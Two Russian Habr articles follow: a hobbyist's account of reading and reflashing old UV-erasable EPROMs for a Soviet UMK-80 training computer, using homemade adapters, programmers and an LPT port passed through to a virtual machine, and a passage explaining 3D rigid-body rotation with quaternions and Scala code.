Как вы помните [из предыдущего поста](https://habr.com/ru/company/ruvds/blog/598697/), я столкнулся с необходимостью достать оригинальную прошивку своего устройства. А также, мне хотелось иметь возможность запускать свои программы, которые набирать и компилировать на обычном компьютере, потому что вручную каждый раз набирать программу в хекс-кодах достаточно быстро надоедает.
Если же вдруг придётся сделать интерфейс ввода прошивки с помощью какого-либо интерфейса, то всё равно придётся писать некий драйвер, и его уже размещать в пользовательском ПЗУ чемодана. Поэтому всё равно встанет необходимость разобраться, как читать и прошивать различные типы ПЗУ.
В этой статье не хочу много внимания уделять УМК-80, она о другом, но всё же поясню, что же происходит. Для того чтобы добраться до ПЗУ, пришлось его полностью разобрать и снять процессорную плату.
**Разбор УМК и платы крупным планом.**
*Разобранный УМК-80.*
Можно даже крупным планом рассмотреть платы этого аппарата, которые ставятся на общую шину.
Прошу не судить строго за качество фото, они сделаны скорее для справки.
Плата порта ввода-вывода, с микросхемой КР580ВВ55А, служит для вывода изображения на дисплей и работы с клавиатурой.
*Плата ввода-вывода.*
Процессорная плата. Справа видны микросхемы ПЗУ К573РФ1 — 1024х8 бит. Которая с буквой “М” — это основная ПЗУ, содержащая программу монитор. Слева большая микросхема — это ОЗУ, та самая которая расположена с адреса 0x0800 и занимает 1 кБ. Посередине можно увидеть большую микросхему микропроцессора КР580ИК80А.
*Процессорная плата.*
Если вам интересно посмотреть более качественные фотографии аналогичного чемодана, я настоятельно рекомендую посмотреть ЖЖ пользователя [xlat8086](https://habr.com/ru/users/xlat8086/). У неё потрясающие фотографии:
* [Учебный стенд УМК.](https://xlat.livejournal.com/667944.html)
* [Учебный стенд УМК. Включение.](https://xlat.livejournal.com/831063.html)
* [Учебный стенд УМК. Внутренности.](https://xlat.livejournal.com/831400.html)
Хочу сразу отметить, что её устройство схемотехнически и программно отличается от моего, но в общем случае многие решения аналогичные.
В любом случае, если вы интересуетесь историей айти и старой техникой, настоятельно рекомендую её [ЖЖ](https://xlat.livejournal.com/).
Попутно, раз уж разобрал чемодан, решил заменить конденсатор, который пал смертью храбрых при первом включении. Благодаря многочисленным комментариям под предыдущей статьёй, выбрал и поставил нужный.
*Обновлённый конденсатор.*
Самое крутое, что процессорную плату можно вынуть и вставить сверху как дочернюю плату (шина же общая), таким образом можно легко осуществлять замену ПЗУ, и не требуется каждый раз разбирать устройство.
*Установленная процессорная плата, в гнездо дочерней, и всё работает.*
Ну что же, теперь предстоит квест по чтению ПЗУ, содержащую программу “Монитор” от УМК-80, и как оказалось, это не такая простая задача, как может показаться на первый взгляд.
▍ Не все ПЗУ одинаково полезны
------------------------------
В данной статье говорю о микросхемах [EPROM](https://ru.wikipedia.org/wiki/EPROM) (Erasable Programmable Read Only Memory) или проще говоря ПЗУ с ультрафиолетовым стиранием. Этакие мистические микросхемы с окошком для стирания ультрафиолетом, которые наверняка многие из вас видели их на старых материнских платах, либо в картриджах от игровых приставок, так как игры записывались именно на подобные ПЗУ. На хабре даже были статьи, [как делать свои картриджи](https://habr.com/ru/post/366047/), и простейший картридж представляет из себя просто прошитую ПЗУ с программой игры.
Как правило, окошко у ПЗУ заклеено каким-то непрозрачным материалом, чтобы от солнечных лучей данные не были стёрты, хотя, как показала личная практика, стереть их не так-то просто.
*Мистические микросхемы с окошком.*
Для того чтобы стереть микросхему, необходим жёсткий ультрафиолет. И, на самом деле, солнечной радиации будет недостаточно чтобы стереть ПЗУ. Она будет стёрта, но далеко не за один день. Об этом я подробнее остановлюсь ниже.
Для того, чтобы прошить микросхему нужен специальный программатор, который выдаёт высокое напряжение для прошивки. А для старых микросхем, к которому относится К573РФ1 (аналог 2708), ещё и необходимо подать напряжения питания отрицательное напряжение минус 5В, +5 и +12 В (три напряжения питания). И это без учёта подачи напряжения программирования.
Приведу одну замечательную картинку, которая позволяет оценить чем отличаются одна от другой версии ПЗУ микросхем, и по ней можно легко сопоставить схему взаимозамены.
*Сопоставление различных типов микросхем ПЗУ.*
Так как на отечественные микросхемы не так просто найти документацию, в отличие от западных оригиналов, то я далее буду приводить отсылки к импортной документации. Микросхема К573РФ1 — это полный аналог 2708, а микросхемы КР573РФ2 и КР573РФ5 — полный аналог 2716. Другие нас пока не интересуют, в рамках этой статьи. В принципе, в своём чемодане использовал и 2716, так что это всё одно и то же.
Для того чтобы прошить микросхему, на неё кроме питания требуется ещё подать высокое напряжение на вывод VPP. Для микросхемы 2708 и 2716 — это 26 В!
Поскольку микросхема К573РФ1 aka 2708 для своей работы требует отрицательного и положительного напряжения, то ей требуется специальный программатор, чтобы её прочитать. Пытался найти готовый программатор за вменяемые деньги, который мог бы решить данную проблему, но, увы, не смог. Подобные программаторы стоят больше 50 тысяч рублей, что явно выходит за бюджеты хобби выходного дня. Поэтому придётся думать о переходнике.
Итак, резюмируя, для дальнейшей работы с ПЗУ нам необходимо:
1. Ультрафиолетовый стиратель, для стирания ранее записанной информации.
2. Программатор для чтения и записи микросхем.
3. Переходник для 2708, чтобы её можно было прочитать в обычном программаторе.
▍ Программатор №1
-----------------
Вообще, предел мечтаний в качестве программатора иметь "**Beeprog+**", но если вы увидите сколько он стоит, вы, гм..., будете очень неприятно удивлены. Хотя этот программатор без проблем бы смог прочитать и записать любые ПЗУ, без лишних телодвижений. Поэтому пришлось выбирать из более доступных, с достаточными возможностями для моих задач.
На рынке давно есть великолепный китайский программатор "**TL866II Plus Universal**" который умеет читать и писать множество микросхем. И в комплекте с ним идёт огромное количество различных переходников, с учётом его стоимости — это практически даром. Заказал со всеми возможными панельками и экстрактором, на будущее, вдруг пригодится.
*Программатор TL866II Plus Universal.*
*Набор переходных панелек.*
Он прекрасно подойдёт для всяких эпизодических случаев программирования микросхем, в том числе восстановление микроконтроллеров после неудачного программирования FUSE-битов. Штука конечно тоже с характером, но если шить от случая к случаю, то отличная.
*Успешное чтение микросхемы 2764.*
Программатор умеет работать с ПЗУ, начиная с 2716 (где требуется одно напряжение питания), а вот работать с 2708 aka К573РФ1, где хранится программа монитор, он работать не умеет. Потому что для работы с этой памятью требуется три различных напряжения, одно из которых отрицательной полярности.
Но поскольку голова нам дана не только чтобы шляпу носить, то можно разработать и сделать переходник, который будет питать микросхему К573РФ1 всеми нужными напряжениями, а читать её как микросхему 2716, просто оба килобайта будут заполнены одними и теми же данными. Осталось только сообразить схему, как это будет выглядеть.
▍ Переходник для чтения ПЗУ К573РФ1 aka 2708
--------------------------------------------
Схема переходника достаточно простая: необходимо сделать так, чтобы микросхема 2708 вставала в панельку микросхемы 2716, при этом были поданы на неё питание +12 и минус 5 В, при этом надо следить, чтобы эти напряжения не пошли в программатор. Самая большая загвоздка в том, что напряжения должны подаваться на микросхему при запросе от программатора, поэтому нужна какая-никакая схема коммутации.
Подумал, что всё хорошее придумано за нас, немного поискал и [нашёл вполне достойное готовое решение на реле](https://www.schematics.com/project/2708-adapter-10-40200/).
*Схема переходника для чтения ПЗУ 2708.*
Обращаю внимание, что адаптер предназначен именно для чтения микросхем, для того чтобы прошить микросхему, нужно будет его доработать. Но лично я смысла воевать с микросхемами 2708 не вижу, сильно проще использовать вместо них ПЗУ 2716.
На том же сайте приводится схема блока питания, но поскольку операция чтения будет однократной, то и делать блок питания не буду. Вместо него подойдёт обычный компьютерный блок питания, там как раз есть напряжение +12 и минус 5 В.
*Распиновка разъёма ATX блока питания. Обратите внимание, что ATX2 уже не подходит для данной задачи.*
* Белый провод — это минус 5 В;
* жёлтый +12 В;
* чёрный — общий;
* зелёный PS\_ON, замкнуть на землю.
Будьте внимательны: в новых блоках питания ATX2 минус пяти вольт уже нет. AT блок питания тоже подходит для данной задачи.
*Распиновка АТ-блока питания.*
В результате небольших пассов с паяльником получился такой замечательный переходник.
*Готовый переходник.*
Вставляю его в программатор, подключаю компьютерный блок питанию, каюсь, до конца не был уверен в успехе. Жму прочитать, щелчки реле, и о чудо, мне удалось прочитать это ПЗУ!
Счастью моему не было предела! Да, оно сработало. И наконец-то я имею нормальный дамп, который можно использовать для своих целей! Кому интересно, [вот дамп прошивки чемодана](https://disk.yandex.ru/d/woTqEpFV50ZlhQ). Из забавного, что вся эта прошивка влезает в экран монитора, там всего 1024 символа.
*Прошивка своими глазами.*
Следующий этап — это залить данную прошивку на другую ПЗУ и стартануть чемодан с неё.
▍ Переходник для прошивки 2716
------------------------------
Что? Ещё один переходник? На самом деле это особенность программатора TL866 II Plus, он не может выдавать напряжение больше 18 вольт. А для прошивки микросхем 2716 необходимо напряжение 26 В! Поэтому необходимо городить внешний блок питания и схему её коммутации.
Есть [отличный проект доработки программатора TL866 II Plus](http://rdk.regionsv.ru/orion128-tl866IIplus.htm), для прошивки микросхем. У автора этого проекта я также закупаюсь микросхемами ПЗУ, за что ему большое спасибо!
Решил немного облагородить схему, потому что у меня схема на сайте вызывала некоторые вопросы.
*Схема переходника программатора.*
В качестве источника высокого напряжения использовал **USB Buck-Boost**, он уже на своём борту имеет вольтметр и удобные способы подключения, как через USB, так и microUSB. Разъём microUSB рекомендую дополнительно пропаять, потому что я быстро оторвал его от платы. Питать блок питания 25 В нужно от отдельного блока питания, например от зарядного устройства для телефона, иначе фокус не удастся.
Поскольку схема всё же какая-никакая есть, долго думал, как размещать все элементы на макетной плате. Даже по малодушию подумал, что стоило сделать отдельную плату и заказать её производство. Но всё же изделие штучное, поэтому взял листок в клетку, разметил точки согласно расположению отверстий и разрисовал расположение элементов, быть может это будет кому-то полезно.
*Расположение компонентов (вид снизу), каждое пересечение клеток — это отверстие в макетке.*
Делаем несколько волшебных пассов паяльником; путаем расположение коллектора-базы-эмитера у транзисторов; делаем новые пассы паяльником. Десять раз всё проверяем-перепроверяем и получаем замечательный результат.
*Готовая плата, вид сверху.*
*Вид снизу.*
После всех проверок, убеждаемся что напряжение включается и подаётся туда куда нужно, радостно пытаемся прошить микросхему.
*Включённый переходник.*
И получаем всё равно облом, а всё почему? А потому, что микросхему перед прошивкой надо стереть. И стереть её можно только ультрафиолетом.
▍ Стиратель ультрафиолетовых ПЗУ
--------------------------------
Первое что приходит в голову, что раз микросхема стирается ультрафиолетом, то положу-ка я её на подоконник и она сотрётся. Но нет, в северных городах даже не стоит этим развлекаться, а в южных это займёт не один день. Энергии нашего светила недостаточно чтобы стереть микросхему быстро.
Второе и самое очевидное — использовать УФ лампу для ногтей. Их просто море отдаётся бесплатно на всевозможных площадках, лично я купил там за 50 рублей (пятьдесят рублей). Вообще, миф использования лампы для ногтей ходит давно, и однозначного ответа можно ли её использовать я не получил, хотя сделал опрос в нескольких телеграмовских чатах. Поэтому всё приходится испытывать самому и делиться с вами уникальной информацией.
В качестве испытуемой микросхемы взял ПЗУ 2764, которая содержала в себе какие-то данные. По-честному обернул ноги фольгой и положил прямо под лампу. Включил лампу на два часа.
*Микросхема прямо под лампой, окошком к лампе.*
Аппарат честно вонял озоном, делая вид, что он ультрафиолетом безжалостно жжёт микросхему. Два часа она страдала, но каково же было моё удивление, когда спустя два часа я смог без проблем прочитать всю информацию, которая была в ней. Миф разрушен:
> **Лампы, используемые для отверждения лака на ногтях, применять для стирания ПЗУ нельзя!**
Поэтому не занимайтесь ерундой и закажите себе "**UV EPROM Eraser**". Стоит он не таких уж безумных денег, но сэкономит вам кучу времени и сил. Слышал много советов использовать расколотую лампу ДРЛ, но я не рекомендую так делать. В своё время сам делал мощную УФ лампу из лампы ДРЛ, но это не компактное решение, всё равно придётся делать какой-то ящик для защиты себя от ультрафиолетового излучения, плюс всё это потребует кучу вашего времени. Да и учитывая стоимость ламп ДРЛ, а также баластного трансформатора, экономия сомнительная. А риски работать со ртутными лампами дома достаточно большие.
*EPROM стиратель.*
Ручной таймер задаёт время стирания в десятках минут. Лично моя практика показала, что 20 минут более чем достаточно, чтобы полностью стереть микросхему. Меньшие цифры я не пробовал.
Обращаю внимание, что этот ультрафиолетовый стиратель весьма опасная штука. Жёсткий ультрафиолет оставляет ожоги на глазах и может привести к слепоте. Также внутри стоит ртутная лампа, с ней надо быть осторожнее, чтобы не разбить, дабы в будущем не дышать парами ртути.
Для того чтобы стереть микросхему нужно ножки микросхемы объединить между собой. Делается это для того, чтобы убрать потенциал при воздействии УФ излучения, поскольку в момент стирания микросхема работает как солнечная батарея, и напряжение, вырабатываемое на ней, может привести к пробою кристалла и выходу устройства из строя.
*Всё готово к большой стирке.*
Включаем и сквозь отверстие видим выходящее голубое свечение, которое говорит что работа пошла. Долго на это свечение смотреть не стоит, во избежание поражения глаз.
*Голубое свечение.*
По прошествии 20 минут, можно с успехом попробовать прошить микросхему.
▍ Прошивка микросхемы 2716 и тестирование её в чемодане
-------------------------------------------------------
Итак, момент истины, не напрасны ли все мои усилия. Ставлю микросхему КМ573РФ2 в программатор через переходник, загружаю считанные ранее данные и прошиваю. Программатор говорит: полный успех.
*Успешная прошивка микросхемы.*
Теперь попробуем установить КМ573РФ2 вместо микросхемы К573РФ1, для этого сделаем ещё один переходник. Больше переходников богу переходников!
Но он достаточно простой, буквально несколько раз ткнуть паяльником и откусить лишние ноги.
*Переходник для установки КМ573РФ2 вместо К573РФ1.*
Но факир был пьян и фокус не удался, советские панели имеют очень большие отверстия, пришлось дополнительно делать проставку из текстолита и иголок.
*Доработка переходника.*
Внимательные заметили, что тут стоит импортная микросхема, но это всё взаимозаменяемо, и как я уже сказал, одно и то же.
Ставим эту порнографию вместо родной микросхемы и пробуем запуститься. И о чудо, полный успех и всё работает.
Далее решил попробовать заливать свои прошивки в данные ПЗУ и столкнулся с тем, что программатор TL866 начал ругаться на отсутствие контакта, то не мог записать ПЗУ, то ещё что-то. И в какой-то момент мне это всё надоело. Тем более совершенно неясно, что же не работает: программатор, мой переходник, либо я плохо стираю ПЗУ.
И захотелось мне иметь другой программатор, который будет работать с 2716 без дополнительных танцев с бубном и переходников. И тут начинается второй квест — подключи программатор на LPT-порт в 2022 году.
▍ Программатор №2 на LPT
------------------------
Как я уже сказал, у меня возникли проблемы с прошивкой микросхем, и было непонятно кто виноват. Поэтому было принято непопулярное решение, приобрести другой программатор. Очень не хотелось связываться с портом LPT, но все более-менее вменяемые программаторы на USB стоили просто неадекватных денег, для хобби экспериментов. Поэтому решил остановиться на программаторах на LPT-порт, хотя и понимал сколько проблем это вызовет.
В принципе есть суперуниверсальный, чуть ли не Open Source программатор Willem. Его можно найти за сущие копейки, но я боялся что буду иметь множество проблем с установкой ПО для работы с ним, а приобретать дополнительный компьютер мне не хотелось.
Поэтому остановился на более универсальном программаторе "**ChipProg-2 Phyton**".
*Программатор ChipProg-2.*
Мне удалось его купить достаточно быстро и с доставкой. Но главная особенность этих программаторов, что они давным-давно сняты с производства и подключение их превращается в незамысловатый квест. Плюс, если учесть, что, я, как и все нормальные люди (сарказм), использую linux, то предстоит настоящий windows way.
Первоначально мне пришлось подобрать операционную систему, которая без проблем встанет на виртуальную машину Virtualbox, не будет падать с синим экраном, и на которой будет работать без проблем ПО программатора. Эмпирическим путём было установлено, что данный программатор может работать только на 32-х разрядных версиях Windows. В результате остановился на 32-битной версии Windows 7.
Следующий этап — железо. В моём компьютере нет LPT-порта, поэтому пришлось докупать дополнительную плату. Какую плату брать, совершенно не имеет значения. Прикупил, что меня устроило по цене, плюс решил, пускай будет два дополнительных СОМ-порта.
*Платка LPT-порта.*
Одна из неприятных задач будет пробросить аппаратный порт в виртуальную машину с Windows.
После того как установили плату в компьютер, надо посмотреть какие же ресурсы она использует. Нас интересуют порты ввода-вывода и прерывание. Вводим команду:
```
lspci -v
```
И получаем вот такой вывод:
Как я понял, что 0xd100 относится к LPT порту, а не COM-портам? Никак, только опытным путём.
Далее нужно будет пробросить эти порты в виртуальную машину. Для этого ещё нужно будет выгрузить драйвер linux, который автоматом подтянулся для работы с LPT-портом, иначе машина не запустится. Выгружаем драйвер:
```
sudo rmmod lp
```
И далее пробрасываем ресурсы LPT-порта в виртуальную машину:
```
VBoxManage modifyvm win7 --lptmode1 "/dev/parport0"
VBoxManage modifyvm win7 --lpt1 0xd100 16
```
Где `win7` — имя вашей виртуальной машины.
Если вы всё сделали правильно, то после запуска виртуальной машины в диспетчере устройств появится LPT-порт. Если виртуальная машина не запускается, то вероятнее всего, вы забыли выгрузить драйвер, и происходит конфликт.
После всех манипуляций устанавливаем на виртуальную машину самое последнее [ПО для программатора ChipProg LPT](https://www.phyton.ru/downloads) (от 2015 года). Если версия Windows будет правильная, то ошибок запуска быть не должно. На 64-х битной будут проблемы с драйверами и программа работать не будет. После запуска выбираем диапазон портов нашей платы, который мы узнали из `lspci`.
И пробую записать микросхему ПЗУ. Полный успех говорит нам, что мы всё сделали правильно.
*Работа программатора ChipProg-2.*
Благодаря этому программатору было установлено, что парочку микросхем я таки угробил своими варварскими экспериментами. На них он давал ошибку по току, тогда как китайский программатор «tl866» ничего внятного не говорил, просто что нет контакта по ногам.
На данный момент использую ChipProg-2 как более надёжный способ прошивки, без дополнительных переходников. Плюс, мне значительно больше нравится интерфейс программы для работы с программатором.
▍ Выводы
--------
Микросхемы ПЗУ с ультрафиолетовым стиранием не так просты, как кажутся на первый взгляд, и работа с ними требует определённого оборудования и понимания, что же там происходит. С другой, это уже история, хотя ещё много оборудования используют подобные решения.
Скажу сразу, что программатор «TL866 II Plus» просто однозначно стоит иметь, если вы работаете с микроконтроллерами ПЗУ, FLASH и т.д. Тем более, что его переходники подходят и для других программаторов. Микросхему 2764 этот программатор прошивал без особых проблем. Если работаете с чем-то более серьёзным, то стоит смотреть в сторону программаторов «Beeprog+», «ChipProg-48» или аналогичных в зависимости от вашего бюджета. В любом случае они должны быть на USB.
Стоит ли развлечение с LPT портом потраченных сил? Ну так, для собственного удовольствия вполне. Для меня это было вполне достойное и бюджетное решение. Всё равно программатор «TL866 II Plus» у меня точно так же работает на виртуальной машине.
Стиратель лучше всего купить, по деньгам в пересчёте вашего времени, он обойдётся дешевле.
▍ В качестве постскриптума
--------------------------
Так удачно совпало, что покуда я разбирался, как достать прошивку из ПЗУ чемодана, [xlat8086](https://habr.com/ru/users/xlat8086/) [выложила скан документации](https://xlat.livejournal.com/846612.html) от своего УМК-80, за что, от всех владельцев УМК, ей большое спасибо.
Чтение документации и сравнение hex моей прошивки с прошивкой, приведённой в документации, установили отличия моего устройства от её, хоть и не очень значительные. Но некоторые функции лежат на своих местах, одна из самых ценных — функция задержки, которая делает задержку ровно 10мС.
Таким образом, если мы 100 раз вызовем эту функцию, мы получим задержку в 1 секунду. Да, написано 10 **микро**секунд, но на деле это 10 **милли**секунд. Видимо опечатка. Функция обитает по адресу 0x35B, и в моём чемодане она тоже обитает по тому же адресу.
Набросаю небольшую функцию, которая будет зажигать и гасить символ с задержкой.
**Набросок кода на ассемблере**
```
ORG 0400h
start:
mvi A, 01h
out 0F8h
m1:
mvi a, 0ffh;Зажигаем символ
out 0F9h
call delay_1s
mvi a, 0h;Гасим символ
out 0F9h
call delay_1s
jmp m1
delay_1s:
lxi b, 100; Вызываем 100 раз.
delay_1s_c:
call 035bh; вызов функции из ПЗУ
DCX B
mov a, b
ora c
jnz delay_1s_c;выполняем цикл 100 раз
ret
```
Компилируем и прошиваем полученный rom в микросхему 2716, и ставим её в панельку ПЗУ пользователя.
*2716 установлено в панель пользовательского ПЗУ.*
Даже записал небольшое кинцо, как же это всё работает в живом чемодане.
Таким образом, наконец-то можно переносить свои программы в чемодан, минуя перенабор программ вручную. Чего и требовалось достичь.
▍ Полезные ссылки
-----------------
1. [Беглый справочник по микросхемам ПЗУ.](https://www.unitechelectronics.com/EPROM_data.htm)
2. [Переходник для чтения ПЗУ 2708.](https://www.schematics.com/project/2708-adapter-10-40200/)
3. [Доработка программатора TL866IIPlus для прошивки к573рф2,5,4,6.](http://rdk.regionsv.ru/orion128-tl866IIplus.htm)
4. [Содержимое ПЗУ моего УМК.](https://disk.yandex.ru/d/woTqEpFV50ZlhQ)
5. [Официальная документация на УМК-80.](https://xlat8086.com/downloads/umk/umk_docs.pdf)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=dlinyj&utm_content=chto_s_pamyatyu_moeyu_stalo) | https://habr.com/ru/post/648649/ | null | ru | null |
# Физика вращения 3д тел
Когда я раньше задумывался о вращении в 3д, мне было неуютно. Оно казалось сложным. Вспомнить, например, эффект Джанибекова с прецессией свободно вращающейся гайки. Настало время разобраться!
В статье Вас ждут математика, физика, а заодно численное моделирование и визуализация в libgdx.
Можно провести аналогии между массой тела в поступательном движении и моментом инерции. Разница только в том, что масса выражается одним-единственным числом, а момент инерции - матрицей 3х3. В большинстве примеров ограничиваются вращением в 2д, где существует только одна возможная ось вращения, либо симметричными телами типа мяча, когда момен инерции по всем осям одинаковый. Вместо этого я рассмотрю наиболее общий случай.
Математический аппарат
----------------------
Скалярное произведение векторов:
Для векторов единичной длины позволяет узнать косинус угла между ними.
Векторное произведение - вектор, перпендикулярный векторам a и b, с длиной, равной произведению длин векторов на синус угла между ними
Для векторного произведения порядок a и b важен:
При выборе системы отсчёта есть произвол, в какую из двух сторон откладывать векторное произведение. Системы координат можно разделить на "правые" и "левые". Дальнейшие рассуждения будуть работать и там и там.
Вектора и матрицы:
Я считаю, что вектор - столбик. Поэтому при умножении вектор ставится справа от матрицы, например
При умножении нескольких матриц можно смотреть как на преобразование вектора матрицей B, а потом матрицей A.
В игровых движках часто делают наоборот - вектор считается строчкой, домножается на матрицу слева, и преобразования "идут слева направо":
Я буду использовать вектора-столбики, при желании можно транспонировать матрицы и применять то же самое к строчкам.
### Представление вращения
Можно использовать [углы Эйлера](https://ru.wikipedia.org/wiki/%D0%A3%D0%B3%D0%BB%D1%8B_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0). Это три числа, но углы Эйлера неудобно комбинировать друг с другом. Кроме того, есть вырожденные состояния, при переходе через которые углы резко поменяются (например, направление "вверх").
Матрицы 3х3. Их можно инвертировать, комбинировать (перемножать), но использование девяти чисел для представления трёх степеней свободы выглядит избыточным. Со временем в матрице могут копиться ошибки, и тогда кроме вращения в матрице появятся масштабирование и прочие эффекты. Существует [ортогонализация Грамма-Шмидта](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81_%D0%93%D1%80%D0%B0%D0%BC%D0%B0_%E2%80%95_%D0%A8%D0%BC%D0%B8%D0%B4%D1%82%D0%B0) для исправления накопившихся ошибок.
Кватернионы: на мой взгляд, очень красивая конструкция из четырёх чисел. В отличие от углов Эйлера, вырожденных состояний нет. Обычно для представления вращения используют кватернионы единичной длины, что оставляет три степени свободы. Накопившиеся при перемножении кватернионов ошибки легко убираются нормализацией. В математике их используют разными способами, нас будет интересовать возможность выразить вращение.
Компоненты кватерниона: (w, x, y, z)
Допустим, если есть ось вращения (v\_x, v\_y, v\_z) и угол поворота a. В виде кватерниона это можно записать так:
В квантовой физике кватернионом можно описать спин частицы, и тогда между кватирнионами (1, 0, 0, 0) и (-1, 0, 0, 0) будет разница, но для нас они представляют одно и то же вращение. Это нетрудно заметить, если в предыдущей формуле увеличить угол a на 360 градусов. Вместо кватерниона (w, x, y, z) получится (-w, -x, -y, -z)
Кватернион очень легко инвертировать - поменять угол вращения на отрицательный (w, -x, -y, -z), ну или перевернуть w: (-w, x, y, z) Замена угла вращения на отрицательный выглядит как "переворот" оси вращения.
Нулевому вращению соответствуют кватернионы (1, 0, 0, 0) и (-1, 0, 0, 0)
Из кватерниона довольно легко "извлечь" ось вращения и угол поворота. Благодаря этому кватернион можно возводить в произвольную (нецелую) степень и использовать для интерполяции вращения.
Не обязательно ограничиваться чем-то одним, можно свободно преобразовывать одно представление вращения в другое и использовать то, что удобнее всего в данный момент.
Например, в игре можно:
1. Хранить и комбинировать вращения в виде кватернионов.
2. Для рисования графики преобразовывать кватернион в матрицу.
3. В логи писать углы Эйлера, как более понятные для человека.
В дальнейшем я храню ориентацию тела в виде кватерниона, а производные типа угловой скорости и ускорения - в виде векторов.
P.S. Как оказалось позже, при решении методом Рунге-Кутты четвёртого порядка надо хранить и покомпонентно усреднять именно производную от кватерниона, а не угловую скорость w. Для методов первого и второго порядка большой разницы нет.
Физические обозначения
----------------------
*Лирическое отступление: на хабре какие-то диверсанты отключили маркдаун. Вместо этого есть "божественный" редактор, в котором формулы можно располагать только по центру страницы. Я не могу вставить формулу из пары символов прямо в текст. Статья в изначальном виде лежит на гитхабе, возможно будет удобнее читать прямо* [*там*](https://github.com/Kright/my-articles/blob/master/2022/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB.md)*.*
Сила - *F*.
Аналог силы для вращения - крутящий момент:
Разница в домножении на "длину рычага".
У тела есть [момент инерции](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BC%D0%B5%D0%BD%D1%82_%D0%B8%D0%BD%D0%B5%D1%80%D1%86%D0%B8%D0%B8) I. Если тело не является шаром или кубом, то вдоль разных осей момент может быть разным. В общем случае I - тензор 3x3 с 9 чиселками. Из курса физики я помню, что с помощью поворота I всегда можно привести к диагональной форме с тремя числами вокруг трёх главных осей и остальными нулями.
Cкорость *v*, угловая скорость ω. Импульс:
Момент импульса:
Энергия поступательного движения
Кинетическая энергия вращения:
Линейное ускорение *a*, угловое ускорение ε.
[Уравнения Эйлера](https://ru.wikipedia.org/wiki/%D0%A3%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0):
Если моменты вращения тела вокруг главных осей равны, то
и уравнение упрощается до
Аналог для поступательного движения -
В общем случае:
Поэтому для свободно вращающегося тела ось вращения может меняться. Наглядной демонстрацией является [эффект Джанибекова](https://ru.wikipedia.org/wiki/%D0%AD%D1%84%D1%84%D0%B5%D0%BA%D1%82_%D0%94%D0%B6%D0%B0%D0%BD%D0%B8%D0%B1%D0%B5%D0%BA%D0%BE%D0%B2%D0%B0)
Кроме того, нужно чётко понимать, в какой системе проводятся эти вычисления. Если тело как-то повёрнуто (допустим, матрицей *R*), то в глобальной системе отсчёта *I* преобразуется:
В виде кода у меня получилось [так](https://github.com/Kright/ScalaGameMath/blob/master/src/main/scala/com/kright/physics3d/Inertia3d.scala#L49):
```
def globalI: Matrix3d =
rot * objectI * rot.inverted()
```
```
def getAcceleration(torque: IVector3d): Vector3d =
val I = globalI
I.inverted() * (torque - omega.cross(I * omega))
```
и симуляция вращения:
```
def update(dt: Double, moment: IVector3d): Unit =
val acc = body.getE(moment)
val dw = Quaternion().setFromExp(body.omega * 0.5 * dt)
body.rot := dw * body.rot
body.omega.madd(acc, dt)
t += dt
```
P.S. В примере была ошибка, исправил - ориентация должна обновляться на основе предыдущего значения скорости, а не нового.
P.P.S. Код выше применим только для методов решения первого-второго порядков точности, для четвёртого надо хранить производные от кватерниона и усреднять именно их. Иначе точность остаётся на уровне методов решения второго порядка.
Можно посмотреть пример из этого [комментария](https://habr.com/ru/post/697534/#comment_24885798) - он работает хорошо. Я повторил его и в репозиторий с примерами добавил SolverEuler2Alt, SolverRK2Alt, SolverRK4Alt. Для второго порядка разницы нет или точность даже хуже, для четвёртого порядка - радикально лучше.
Хочешь сделать хорошо - сделай сам
----------------------------------
Так уж получилось, что в различных библиотеках для линейной алгребы были те или иные недостатки - например, не было кватернионов, или не хватало каких-то методов. Кроме того, есть произвол в определении направления вектороного произведения, в направлениях вращения и в том, считать вектора столбиками или строчками, что влияет на все дальнейшие формулы.
Спустя много лет использования разных библиотек и копирования кода туда-сюда я наконец-то собрался и написал свою библиотеку: <https://github.com/Kright/ScalaGameMath>
Возможно, было бы лучше написать библиотеку на java, чтобы её можно было использовать из любого jvm языка. Но тогда для scala придётся писать обёртку, чтобы вместо методов типа *plus, minus* и т.п. были доступны более удобные + и -.
Вектора, матрицы, кватернионы и т.п. используют double, а не float. Я не хочу бороться с ошибками округления и перспектива удвоенного количества занятых байтов меня не пугает.
По старой памяти и по аналогии с libgdx я cделал кучу изменяющих методов типа
*+=*, *\*=* и т.п., а так же варианты типа *Matrix \*> vector*, когда результат операции записывается в правый аргумент. Но потом я взял [JMH](https://github.com/openjdk/jmh)), написал какие-то бенчмарки и выяснил, что JVM умеет в escape analysis. Создание временных объектов почти не влияет на производительность.
Можно писать код типа
```
a := b + c + d * m
```
Вместо менее читаемого опимизированного
```
a := b
a += c
a.madd(d, m)
```
Или ещё менее читаемого
```
((a := b) += c).madd(d. m)
```
Я не буду делать никаких общих утверждений, просто призываю не заниматься преждевременной оптимизацией без нужды. Простота и читаемость кода - это тоже очень важные свойства.
Кроме того, в моей библиотеке операции с кватернионами, матрицами, углами Эйлера и преобразования между ними согласованы друг с другом.
Например, можно превратить углы Эйлера в матрицы, перемножить их, превратить обратно в углы Эйлера и получить тот же самый результат, как если бы я в качестве промежуточного преставления использовал кватернионы.
Это очевидное требование, но его легко нарушить, если, допустим, добавлять кватернионы в чей-то проект с готовыми матрицами.
Я использовал property based testing и в тестах явно требовал математических свойств типа ассоциативности, обратимости и т.п.
Например, что для любых кватернионов
Как проверить корректность
--------------------------
По-сути, есть дифференциальное уравнение ε = f(w, R), которое можно численно решить.
Можно проверить на [эффекте Джанибекова](https://ru.wikipedia.org/wiki/%D0%AD%D1%84%D1%84%D0%B5%D0%BA%D1%82_%D0%94%D0%B6%D0%B0%D0%BD%D0%B8%D0%B1%D0%B5%D0%BA%D0%BE%D0%B2%D0%B0) - взять тело с моментами инерции
И отправить его вращатья вокруг оси Y с каким-то возмущением.
